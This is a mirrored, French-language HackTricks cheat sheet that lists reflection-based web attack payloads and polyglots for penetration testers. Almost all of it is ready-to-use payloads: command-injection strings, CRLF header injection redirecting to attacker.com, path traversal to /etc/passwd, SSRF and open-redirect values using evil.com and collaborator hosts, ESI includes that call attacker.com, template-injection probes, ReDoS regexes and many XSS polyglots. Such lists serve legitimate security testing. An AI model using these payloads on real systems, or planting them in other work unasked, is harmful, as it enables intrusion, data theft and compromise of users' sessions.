mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
235 lines
12 KiB
Markdown
235 lines
12 KiB
Markdown
# Techniques de Réflexion - PoCs et Polyglottes CheatSheet
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres moyens de soutenir HackTricks :
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
L'objectif de ces PoCs et Polyglottes est de fournir au testeur un **résumé** rapide des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**.
|
||
|
||
{% hint style="warning" %}
|
||
Cette **cheatsheet ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques tests de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée.
|
||
{% endhint %}
|
||
|
||
{% hint style="danger" %}
|
||
Vous **ne trouverez pas d'injections dépendantes du Content-Type comme XXE**, car généralement vous les essayerez vous-même si vous trouvez une requête envoyant des données xml. Vous **ne trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données en backend.
|
||
{% endhint %}
|
||
|
||
## Liste des Polyglottes
|
||
```python
|
||
{{7*7}}[7*7]
|
||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||
%0d%0aLocation:%20http://attacker.com
|
||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||
/etc/passwd
|
||
../../../../../../etc/hosts
|
||
..\..\..\..\..\..\etc/hosts
|
||
/etc/hostname
|
||
../../../../../../etc/hosts
|
||
C:/windows/system32/drivers/etc/hosts
|
||
../../../../../../windows/system32/drivers/etc/hosts
|
||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
||
http://asdasdasdasd.burpcollab.com/mal.php
|
||
\\asdasdasdasd.burpcollab.com/mal.php
|
||
www.whitelisted.com
|
||
www.whitelisted.com.evil.com
|
||
https://google.com
|
||
//google.com
|
||
javascript:alert(1)
|
||
(\\w*)+$
|
||
([a-zA-Z]+)*$
|
||
((a+)+)+$
|
||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||
" onclick=alert() a="
|
||
'"><img src=x onerror=alert(1) />
|
||
javascript:alert()
|
||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||
```
|
||
## [Injection de modèle côté client](../client-side-template-injection-csti.md)
|
||
|
||
### Tests de base
|
||
```
|
||
{{7*7}}
|
||
[7*7]
|
||
```
|
||
### Polyglottes
|
||
```bash
|
||
{{7*7}}[7*7]
|
||
```
|
||
## [Injection de commande](../command-injection.md)
|
||
|
||
### Tests de base
|
||
```bash
|
||
;ls
|
||
||ls;
|
||
|ls;
|
||
&&ls;
|
||
&ls;
|
||
%0Als
|
||
`ls`
|
||
$(ls)
|
||
```
|
||
### Polyglottes
|
||
```bash
|
||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||
```
|
||
## [CRLF](../crlf-0d-0a.md)
|
||
|
||
### Tests de base
|
||
```bash
|
||
%0d%0aLocation:%20http://attacker.com
|
||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||
```
|
||
## Balisage en suspens
|
||
|
||
### Tests de base
|
||
```markup
|
||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||
```
|
||
## [Inclusion de fichier/Parcours de chemin](../file-inclusion/)
|
||
|
||
### Tests de base
|
||
```bash
|
||
/etc/passwd
|
||
../../../../../../etc/hosts
|
||
..\..\..\..\..\..\etc/hosts
|
||
/etc/hostname
|
||
../../../../../../etc/hosts
|
||
C:/windows/system32/drivers/etc/hosts
|
||
../../../../../../windows/system32/drivers/etc/hosts
|
||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
||
http://asdasdasdasd.burpcollab.com/mal.php
|
||
\\asdasdasdasd.burpcollab.com/mal.php
|
||
```
|
||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
||
|
||
### Tests de base
|
||
```bash
|
||
www.whitelisted.com
|
||
www.whitelisted.com.evil.com
|
||
https://google.com
|
||
//google.com
|
||
javascript:alert(1)
|
||
```
|
||
## [ReDoS](../regular-expression-denial-of-service-redos.md)
|
||
|
||
### Tests de base
|
||
```bash
|
||
(\\w*)+$
|
||
([a-zA-Z]+)*$
|
||
((a+)+)+$
|
||
```
|
||
## [Inclusion côté serveur / Inclusion côté Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||
|
||
### Tests de base
|
||
```markup
|
||
<!--#echo var="DATE_LOCAL" -->
|
||
<!--#exec cmd="ls" -->
|
||
<esi:include src=http://attacker.com/>
|
||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||
```
|
||
### Polyglottes
|
||
```markup
|
||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||
```
|
||
## [Falsification de Requête Côté Serveur](../ssrf-server-side-request-forgery/)
|
||
|
||
Les mêmes tests utilisés pour la Redirection Ouverte peuvent être utilisés ici.
|
||
|
||
## [Injection de Modèle Côté Serveur](../ssti-server-side-template-injection/)
|
||
|
||
### Tests de Base
|
||
```markup
|
||
${{<%[%'"}}%\
|
||
{{7*7}}
|
||
${7*7}
|
||
<%= 7*7 %>
|
||
${{7*7}}
|
||
#{7*7}
|
||
```
|
||
### Polyglottes
|
||
```python
|
||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||
```
|
||
## [Injection côté serveur XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||
|
||
### Tests de base
|
||
```markup
|
||
<xsl:value-of select="system-property('xsl:version')" />
|
||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||
```
|
||
### Polyglottes
|
||
```markup
|
||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||
```
|
||
## XSS
|
||
|
||
### Tests de base
|
||
```markup
|
||
" onclick=alert() a="
|
||
'"><img src=x onerror=alert(1) />
|
||
javascript:alert()
|
||
```
|
||
### Polyglottes
|
||
```markup
|
||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
|
||
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
|
||
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
|
||
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
|
||
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
|
||
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
|
||
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
|
||
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
|
||
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
|
||
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
|
||
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
|
||
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
|
||
<svg%0Ao%00nload=%09((pro\u006dpt))()//
|
||
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
|
||
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
|
||
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
|
||
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
|
||
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
|
||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres moyens de soutenir HackTricks :
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|